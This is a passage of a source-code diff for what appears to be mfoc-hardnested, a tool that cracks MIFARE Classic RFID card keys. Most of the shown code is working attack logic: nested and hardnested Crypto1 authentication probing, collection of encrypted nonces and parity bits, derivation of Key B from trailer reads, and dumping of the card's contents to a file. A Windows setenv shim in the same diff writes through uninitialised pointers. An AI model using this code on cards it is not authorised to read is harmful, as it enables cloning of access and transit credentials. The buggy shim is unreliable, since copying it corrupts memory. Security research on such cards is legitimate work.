mf_anticollision(t, r);
|
|
||||||
} else {
|
|
||||||
fprintf(stdout, "OK\n");
|
|
||||||
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
|
|
||||||
t.sectors[j].foundKeyB = true;
|
|
||||||
bk->size++;
|
|
||||||
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
|
||||||
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
if (res != NFC_ERFTRANS) {
|
|
||||||
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
|
||||||
goto error;
|
|
||||||
}
|
|
||||||
mf_anticollision(t, r);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
mf_configure(r.pdi);
|
mf_configure(r.pdi);
|
||||||
mf_anticollision(t, r);
|
mf_anticollision(t, r);
|
||||||
break;
|
fprintf(stdout, ".");
|
||||||
|
fflush(stdout);
|
||||||
}
|
}
|
||||||
|
fprintf(stdout, "\n");
|
||||||
|
// Get first 15 grouped keys
|
||||||
|
ck = uniqsort(pk->possibleKeys, pk->size);
|
||||||
|
for (i = 0; i < TRY_KEYS ; i++) {
|
||||||
|
// We don't known this key, try to break it
|
||||||
|
// This key can be found here two or more times
|
||||||
|
if (ck[i].count > 0) {
|
||||||
|
// fprintf(stdout,"%d %llx\n",ck[i].count, ck[i].key);
|
||||||
|
// Set required authetication method
|
||||||
|
num_to_bytes(ck[i].key, 6, mp.mpa.abtKey);
|
||||||
|
mc = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
||||||
|
int res;
|
||||||
|
if ((res = nfc_initiator_mifare_cmd(r.pdi, mc, t.sectors[j].trailer, &mp)) < 0) {
|
||||||
|
if (res != NFC_EMFCAUTHFAIL) {
|
||||||
|
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||||
|
goto error;
|
||||||
|
}
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else {
|
||||||
|
// Save all information about successfull authentization
|
||||||
|
bk->size++;
|
||||||
|
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||||
|
bk->brokenKeys[bk->size - 1] = bytes_to_num(mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
if (dumpKeysA) {
|
||||||
|
memcpy(t.sectors[j].KeyA, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyA = true;
|
||||||
|
|
||||||
|
} else {
|
||||||
|
memcpy(t.sectors[j].KeyB, mp.mpa.abtKey, sizeof(mp.mpa.abtKey));
|
||||||
|
t.sectors[j].foundKeyB = true;
|
||||||
|
}
|
||||||
|
fprintf(stdout, " Found Key: %c [%012llx]\n", (dumpKeysA ? 'A' : 'B'),
|
||||||
|
bytes_to_num(mp.mpa.abtKey, 6));
|
||||||
|
// if we need KeyB for this sector, it should be revealed by a data read with KeyA
|
||||||
|
if (!t.sectors[j].foundKeyB) {
|
||||||
|
if ((res = nfc_initiator_mifare_cmd(r.pdi, MC_READ, t.sectors[j].trailer, &mtmp)) >= 0) {
|
||||||
|
fprintf(stdout, " Data read with Key A revealed Key B: [%012llx] - checking Auth: ", bytes_to_num(mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey)));
|
||||||
|
memcpy(mtmp.mpa.abtKey, mtmp.mpd.abtData + 10, sizeof(mtmp.mpa.abtKey));
|
||||||
|
memcpy(mtmp.mpa.abtAuthUid, t.nt.nti.nai.abtUid + t.nt.nti.nai.szUidLen - 4, sizeof(mtmp.mpa.abtAuthUid));
|
||||||
|
if ((nfc_initiator_mifare_cmd(r.pdi, MC_AUTH_B, t.sectors[j].trailer, &mtmp)) < 0) {
|
||||||
|
fprintf(stdout, "Failed!\n");
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
} else {
|
||||||
|
fprintf(stdout, "OK\n");
|
||||||
|
memcpy(t.sectors[j].KeyB, mtmp.mpd.abtData + 10, sizeof(t.sectors[j].KeyB));
|
||||||
|
t.sectors[j].foundKeyB = true;
|
||||||
|
bk->size++;
|
||||||
|
bk->brokenKeys = (uint64_t *) realloc((void *)bk->brokenKeys, bk->size * sizeof(uint64_t));
|
||||||
|
bk->brokenKeys[bk->size - 1] = bytes_to_num(mtmp.mpa.abtKey, sizeof(mtmp.mpa.abtKey));
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
if (res != NFC_ERFTRANS) {
|
||||||
|
nfc_perror(r.pdi, "nfc_initiator_mifare_cmd");
|
||||||
|
goto error;
|
||||||
|
}
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
mf_configure(r.pdi);
|
||||||
|
mf_anticollision(t, r);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
free(pk->possibleKeys);
|
||||||
|
free(ck);
|
||||||
|
// Success, try the next sector
|
||||||
|
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
||||||
}
|
}
|
||||||
}
|
|
||||||
free(pk->possibleKeys);
|
|
||||||
free(ck);
|
|
||||||
// Success, try the next sector
|
|
||||||
if ((dumpKeysA && t.sectors[j].foundKeyA) || (!dumpKeysA && t.sectors[j].foundKeyB)) break;
|
|
||||||
}
|
}
|
||||||
// We haven't found any key, exiting
|
// We haven't found any key, exiting
|
||||||
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
if ((dumpKeysA && !t.sectors[j].foundKeyA) || (!dumpKeysA && !t.sectors[j].foundKeyB)) {
|
||||||
@ -727,13 +788,15 @@ int main(int argc, char *const argv[])
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Finally save all keys + data to file
|
// Finally save all keys + data to file
|
||||||
uint16_t dump_size = (t.num_blocks + 1) * 16;
|
if (pfDump) {
|
||||||
if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) {
|
uint16_t dump_size = (t.num_blocks + 1) * 16;
|
||||||
fprintf(stdout, "Error, cannot write dump\n");
|
if (fwrite(&mtDump, 1, dump_size, pfDump) != dump_size) {
|
||||||
|
fprintf(stdout, "Error, cannot write dump\n");
|
||||||
|
fclose(pfDump);
|
||||||
|
goto error;
|
||||||
|
}
|
||||||
fclose(pfDump);
|
fclose(pfDump);
|
||||||
goto error;
|
|
||||||
}
|
}
|
||||||
fclose(pfDump);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
free(t.sectors);
|
free(t.sectors);
|
||||||
@ -753,30 +816,26 @@ error:
|
|||||||
exit(EXIT_FAILURE);
|
exit(EXIT_FAILURE);
|
||||||
}
|
}
|
||||||
|
|
||||||
void usage(FILE *stream, int errno)
|
void usage(FILE *stream, uint8_t errnr)
|
||||||
{
|
{
|
||||||
fprintf(stream, "Usage: mfoc [-h] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n");
|
fprintf(stream, "Usage: mfoc-hardnested [-h] [-C] [-F] [-k key] [-f file] ... [-P probnum] [-T tolerance] [-O output]\n");
|
||||||
fprintf(stream, "\n");
|
fprintf(stream, "\n");
|
||||||
fprintf(stream, " h print this help and exit\n");
|
fprintf(stream, " h print this help and exit\n");
|
||||||
// fprintf(stream, " B instead of 'A' dump 'B' keys\n");
|
fprintf(stream, " C skip testing default keys\n");
|
||||||
|
fprintf(stream, " F force the hardnested keys extraction\n");
|
||||||
fprintf(stream, " k try the specified key in addition to the default keys\n");
|
fprintf(stream, " k try the specified key in addition to the default keys\n");
|
||||||
fprintf(stream, " f parses a file of keys to add in addition to the default keys \n");
|
fprintf(stream, " f parses a file of keys to add in addition to the default keys \n");
|
||||||
// fprintf(stream, " D number of distance probes, default is 20\n");
|
|
||||||
// fprintf(stream, " S number of sets with keystreams, default is 5\n");
|
|
||||||
fprintf(stream, " P number of probes per sector, instead of default of 20\n");
|
fprintf(stream, " P number of probes per sector, instead of default of 20\n");
|
||||||
fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n");
|
fprintf(stream, " T nonce tolerance half-range, instead of default of 20\n (i.e., 40 for the total range, in both directions)\n");
|
||||||
// fprintf(stream, " s specify the list of sectors to crack, for example -s 0,1,3,5\n");
|
fprintf(stream, " O file in which the card contents will be written\n");
|
||||||
fprintf(stream, " O file in which the card contents will be written (REQUIRED)\n");
|
|
||||||
fprintf(stream, " D file in which partial card info will be written in case PRNG is not vulnerable\n");
|
|
||||||
fprintf(stream, "\n");
|
fprintf(stream, "\n");
|
||||||
fprintf(stream, "Example: mfoc -O mycard.mfd\n");
|
fprintf(stream, "Example: mfoc-hardnested -O mycard.mfd\n");
|
||||||
fprintf(stream, "Example: mfoc -k ffffeeeedddd -O mycard.mfd\n");
|
fprintf(stream, "Example: mfoc-hardnested -k ffffeeeedddd -O mycard.mfd\n");
|
||||||
fprintf(stream, "Example: mfoc -f keys.txt -O mycard.mfd\n");
|
fprintf(stream, "Example: mfoc-hardnested -f keys.txt -O mycard.mfd\n");
|
||||||
fprintf(stream, "Example: mfoc -P 50 -T 30 -O mycard.mfd\n");
|
fprintf(stream, "Example: mfoc-hardnested -P 50 -T 30 -O mycard.mfd\n");
|
||||||
fprintf(stream, "\n");
|
fprintf(stream, "\n");
|
||||||
fprintf(stream, "This is mfoc version %s.\n", PACKAGE_VERSION);
|
fprintf(stream, "This is mfoc-hardnested version %s.\n", PACKAGE_VERSION);
|
||||||
fprintf(stream, "For more information, run: 'man mfoc'.\n");
|
exit(errnr);
|
||||||
exit(errno);
|
|
||||||
}
|
}
|
||||||
|
|
||||||
void mf_init(mfreader *r)
|
void mf_init(mfreader *r)
|
||||||
@ -858,8 +917,14 @@ int find_exploit_sector(mftag t)
|
|||||||
fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
|
fprintf(stdout, "\nWe have all sectors encrypted with the default keys..\n\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
for (i = 0; i < t.num_sectors; i++) {
|
for (i = t.num_sectors-1; i>=0;--i) {
|
||||||
if ((t.sectors[i].foundKeyA) || (t.sectors[i].foundKeyB)) {
|
if (t.sectors[i].foundKeyB) {
|
||||||
|
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
|
||||||
|
return i;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
for (i = t.num_sectors-1; i>=0;--i) {
|
||||||
|
if (t.sectors[i].foundKeyA) {
|
||||||
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
|
fprintf(stdout, "\n\nUsing sector %02d as an exploit sector\n", i);
|
||||||
return i;
|
return i;
|
||||||
}
|
}
|
||||||
@ -883,7 +948,6 @@ get_rats_is_2k(mftag t, mfreader r)
|
|||||||
{
|
{
|
||||||
int res;
|
int res;
|
||||||
uint8_t abtRx[MAX_FRAME_LEN];
|
uint8_t abtRx[MAX_FRAME_LEN];
|
||||||
int szRxBits;
|
|
||||||
uint8_t abtRats[2] = { 0xe0, 0x50};
|
uint8_t abtRats[2] = { 0xe0, 0x50};
|
||||||
// Use raw send/receive methods
|
// Use raw send/receive methods
|
||||||
if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
|
if (nfc_device_set_property_bool(r.pdi, NP_EASY_FRAMING, false) < 0) {
|
||||||
@ -919,7 +983,7 @@ get_rats_is_2k(mftag t, mfreader r)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA)
|
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits)
|
||||||
{
|
{
|
||||||
struct Crypto1State *pcs;
|
struct Crypto1State *pcs;
|
||||||
struct Crypto1State *revstate;
|
struct Crypto1State *revstate;
|
||||||
@ -933,6 +997,12 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
|||||||
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
|
uint8_t Nr[4] = { 0x00, 0x00, 0x00, 0x00 }; // Reader nonce
|
||||||
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
uint8_t Auth[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||||
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
uint8_t AuthEnc[4] = { 0x00, t.sectors[e_sector].trailer, 0x00, 0x00 };
|
||||||
|
|
||||||
|
if (mode == 'h') {
|
||||||
|
memset(Auth, 0, 4);
|
||||||
|
memset(AuthEnc, 0, 4);
|
||||||
|
}
|
||||||
|
|
||||||
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
uint8_t AuthEncPar[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
|
|
||||||
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
uint8_t ArEnc[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
|
||||||
@ -943,11 +1013,14 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
|||||||
|
|
||||||
uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
|
uint32_t Nt, NtLast, NtProbe, NtEnc, Ks1;
|
||||||
|
|
||||||
int i;
|
uint32_t m, i;
|
||||||
uint32_t m;
|
uint8_t pbits = 0, p;
|
||||||
|
|
||||||
// Prepare AUTH command
|
// Prepare AUTH command
|
||||||
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
|
Auth[0] = (t.sectors[e_sector].foundKeyA) ? MC_AUTH_A : MC_AUTH_B;
|
||||||
|
if (mode == 'h') {
|
||||||
|
Auth[1] = sector_to_block(e_sector); //block
|
||||||
|
}
|
||||||
iso14443a_crc_append(Auth, 2);
|
iso14443a_crc_append(Auth, 2);
|
||||||
// fprintf(stdout, "\nAuth command:\t");
|
// fprintf(stdout, "\nAuth command:\t");
|
||||||
// print_hex(Auth, 4);
|
// print_hex(Auth, 4);
|
||||||
@ -1177,6 +1250,40 @@ int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
if (mode == 'h') {
|
||||||
|
// Again, prepare the Auth command with MC_AUTH_A, recover the block and CRC
|
||||||
|
Auth[0] = dumpKeysA ? MC_AUTH_A : MC_AUTH_B;
|
||||||
|
Auth[1] = a_sector * 4; //block
|
||||||
|
iso14443a_crc_append(Auth, 2);
|
||||||
|
|
||||||
|
// Encryption of the Auth command, sending the Auth command
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
AuthEnc[i] = crypto1_byte(pcs, 0, 0) ^ Auth[i];
|
||||||
|
// Encrypt the parity bits with the 4 plaintext bytes
|
||||||
|
AuthEncPar[i] = filter(pcs->odd) ^ oddparity(Auth[i]);
|
||||||
|
}
|
||||||
|
if ((( res = nfc_initiator_transceive_bits(r.pdi, AuthEnc, 32, AuthEncPar, Rx, sizeof (Rx), RxPar)) < 0) || (res != 32)){
|
||||||
|
ERR("while requesting encrypted tag-nonce");
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Save the encrypted nonce
|
||||||
|
NtEnc = bytes_to_num(Rx, 4);
|
||||||
|
|
||||||
|
for (i = 0; i < 4; i++) {
|
||||||
|
p = oddparity(Rx[i]);
|
||||||
|
if (RxPar[i] != oddparity(Rx[i])) {
|
||||||
|
p ^= 1;
|
||||||
|
}
|
||||||
|
pbits <<= 1;
|
||||||
|
pbits |= p;
|
||||||
|
}
|
||||||
|
*NtEncBytes = NtEnc;
|
||||||
|
*parBits = pbits;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
crypto1_destroy(pcs);
|
crypto1_destroy(pcs);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
16
src/mfoc.h
16
src/mfoc.h
@ -1,3 +1,8 @@
|
|||||||
|
#ifndef MFOC_H__
|
||||||
|
#define MFOC_H__
|
||||||
|
|
||||||
|
#include <nfc/nfc-types.h>
|
||||||
|
|
||||||
#define MEM_CHUNK 10000
|
#define MEM_CHUNK 10000
|
||||||
#define TRY_KEYS 50
|
#define TRY_KEYS 50
|
||||||
|
|
||||||
@ -82,7 +87,11 @@ typedef struct {
|
|||||||
} countKeys;
|
} countKeys;
|
||||||
|
|
||||||
|
|
||||||
void usage(FILE *stream, int errno);
|
mftag t;
|
||||||
|
mfreader r;
|
||||||
|
|
||||||
|
|
||||||
|
void usage(FILE *stream, uint8_t errnr);
|
||||||
void mf_init(mfreader *r);
|
void mf_init(mfreader *r);
|
||||||
void mf_configure(nfc_device *pdi);
|
void mf_configure(nfc_device *pdi);
|
||||||
void mf_select_tag(nfc_device *pdi, nfc_target *pnt);
|
void mf_select_tag(nfc_device *pdi, nfc_target *pnt);
|
||||||
@ -90,7 +99,7 @@ int trailer_block(uint32_t block);
|
|||||||
int find_exploit_sector(mftag t);
|
int find_exploit_sector(mftag t);
|
||||||
void mf_anticollision(mftag t, mfreader r);
|
void mf_anticollision(mftag t, mfreader r);
|
||||||
bool get_rats_is_2k(mftag t, mfreader r);
|
bool get_rats_is_2k(mftag t, mfreader r);
|
||||||
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA);
|
int mf_enhanced_auth(int e_sector, int a_sector, mftag t, mfreader r, denonce *d, pKeys *pk, char mode, bool dumpKeysA, uint32_t *NtEncBytes, uint8_t* parBits);
|
||||||
uint32_t median(denonce d);
|
uint32_t median(denonce d);
|
||||||
int compar_int(const void *a, const void *b);
|
int compar_int(const void *a, const void *b);
|
||||||
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
|
int valid_nonce(uint32_t Nt, uint32_t NtEnc, uint32_t Ks1, uint8_t *parity);
|
||||||
@ -98,3 +107,6 @@ int compar_special_int(const void *a, const void *b);
|
|||||||
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
|
countKeys *uniqsort(uint64_t *possibleKeys, uint32_t size);
|
||||||
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
|
void num_to_bytes(uint64_t n, uint32_t len, uint8_t *dest);
|
||||||
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
|
long long unsigned int bytes_to_num(uint8_t *src, uint32_t len);
|
||||||
|
|
||||||
|
|
||||||
|
#endif
|
||||||
@ -44,6 +44,7 @@
|
|||||||
# include <stdlib.h>
|
# include <stdlib.h>
|
||||||
# include <string.h>
|
# include <string.h>
|
||||||
# include <err.h>
|
# include <err.h>
|
||||||
|
# include <nfc/nfc-types.h>
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @macro DBG
|
* @macro DBG
|
||||||
|
|||||||
28
src/parity.c
Normal file
28
src/parity.c
Normal file
@ -0,0 +1,28 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// parity functions (all defined in parity.h)
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
const uint8_t OddByteParity[256] = {
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 1, 0, 1, 1, 0,
|
||||||
|
1, 0, 0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 1
|
||||||
|
};
|
||||||
32
src/parity.h
Normal file
32
src/parity.h
Normal file
@ -0,0 +1,32 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Parity functions
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
// all functions defined in header file by purpose. Allows compiler optimizations.
|
||||||
|
|
||||||
|
#ifndef __PARITY_H
|
||||||
|
#define __PARITY_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
extern const uint8_t OddByteParity[256];
|
||||||
|
|
||||||
|
static inline bool oddparity8(const uint8_t x) {
|
||||||
|
return OddByteParity[x];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline bool evenparity8(const uint8_t x) {
|
||||||
|
return !OddByteParity[x];
|
||||||
|
}
|
||||||
|
|
||||||
|
static inline bool evenparity32(uint32_t x) {
|
||||||
|
return __builtin_parity(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __PARITY_H */
|
||||||
58
src/stdlib.c
Normal file
58
src/stdlib.c
Normal file
@ -0,0 +1,58 @@
|
|||||||
|
/*-
|
||||||
|
* Free/Libre Near Field Communication (NFC) library
|
||||||
|
*
|
||||||
|
* Libnfc historical contributors:
|
||||||
|
* Copyright (C) 2009 Roel Verdult
|
||||||
|
* Copyright (C) 2009-2013 Romuald Conty
|
||||||
|
* Copyright (C) 2010-2012 Romain Tartière
|
||||||
|
* Copyright (C) 2010-2013 Philippe Teuwen
|
||||||
|
* Copyright (C) 2012-2013 Ludovic Rousseau
|
||||||
|
* See AUTHORS file for a more comprehensive list of contributors.
|
||||||
|
* Additional contributors of this file:
|
||||||
|
* Copyright (C) 2013 Alex Lian
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU Lesser General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
|
||||||
|
* more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @file stdlib.c
|
||||||
|
* @brief Windows System compatibility
|
||||||
|
*/
|
||||||
|
|
||||||
|
// Handle platform specific includes
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
//There is no setenv()and unsetenv() in windows,but we can use putenv() instead.
|
||||||
|
int setenv(const char *name, const char *value, int overwrite)
|
||||||
|
{
|
||||||
|
char *env = getenv(name);
|
||||||
|
if ((env && overwrite) || (!env)) {
|
||||||
|
char *str[32];
|
||||||
|
strcpy(*str, name);
|
||||||
|
strcat(*str, "=");
|
||||||
|
strcat(*str, value);
|
||||||
|
return _putenv(*str);
|
||||||
|
}
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
void unsetenv(const char *name)
|
||||||
|
{
|
||||||
|
char *str[32];
|
||||||
|
strcpy(*str, name);
|
||||||
|
strcat(*str, "=");
|
||||||
|
_putenv(*str);
|
||||||
|
}
|
||||||
52
src/ui.c
Normal file
52
src/ui.c
Normal file
@ -0,0 +1,52 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2009 Michael Gernoth <michael at gernoth.net>
|
||||||
|
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// UI utilities
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
#include <pthread.h>
|
||||||
|
|
||||||
|
#include "ui.h"
|
||||||
|
|
||||||
|
bool lastnewl = true;
|
||||||
|
|
||||||
|
static pthread_mutex_t print_lock = PTHREAD_MUTEX_INITIALIZER;
|
||||||
|
|
||||||
|
void PrintAndLog(bool newl, char *fmt, ...) {
|
||||||
|
va_list argptr, argptr2;
|
||||||
|
pthread_mutex_init(&print_lock, NULL);
|
||||||
|
// lock this section to avoid interlacing prints from different threads
|
||||||
|
pthread_mutex_lock(&print_lock);
|
||||||
|
|
||||||
|
if (newl) {
|
||||||
|
printf("\n");
|
||||||
|
} else {
|
||||||
|
if (lastnewl)
|
||||||
|
printf("\n");
|
||||||
|
|
||||||
|
printf("\r");
|
||||||
|
}
|
||||||
|
va_start(argptr, fmt);
|
||||||
|
va_copy(argptr2, argptr);
|
||||||
|
vprintf(fmt, argptr);
|
||||||
|
printf(" "); // cleaning prompt
|
||||||
|
va_end(argptr);
|
||||||
|
|
||||||
|
va_end(argptr2);
|
||||||
|
|
||||||
|
fflush(NULL);
|
||||||
|
lastnewl = newl;
|
||||||
|
|
||||||
|
//release lock
|
||||||
|
pthread_mutex_unlock(&print_lock);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
19
src/ui.h
Normal file
19
src/ui.h
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// UI utilities
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#ifndef UI_H__
|
||||||
|
#define UI_H__
|
||||||
|
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
void PrintAndLog(bool newl, char *fmt, ...);
|
||||||
|
|
||||||
|
#endif
|
||||||
39
src/unistd_w.h
Normal file
39
src/unistd_w.h
Normal file
@ -0,0 +1,39 @@
|
|||||||
|
/*-
|
||||||
|
* Free/Libre Near Field Communication (NFC) library
|
||||||
|
*
|
||||||
|
* Libnfc historical contributors:
|
||||||
|
* Copyright (C) 2009 Roel Verdult
|
||||||
|
* Copyright (C) 2009-2013 Romuald Conty
|
||||||
|
* Copyright (C) 2010-2012 Romain Tartière
|
||||||
|
* Copyright (C) 2010-2013 Philippe Teuwen
|
||||||
|
* Copyright (C) 2012-2013 Ludovic Rousseau
|
||||||
|
* See AUTHORS file for a more comprehensive list of contributors.
|
||||||
|
* Additional contributors of this file:
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU Lesser General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
|
||||||
|
* more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
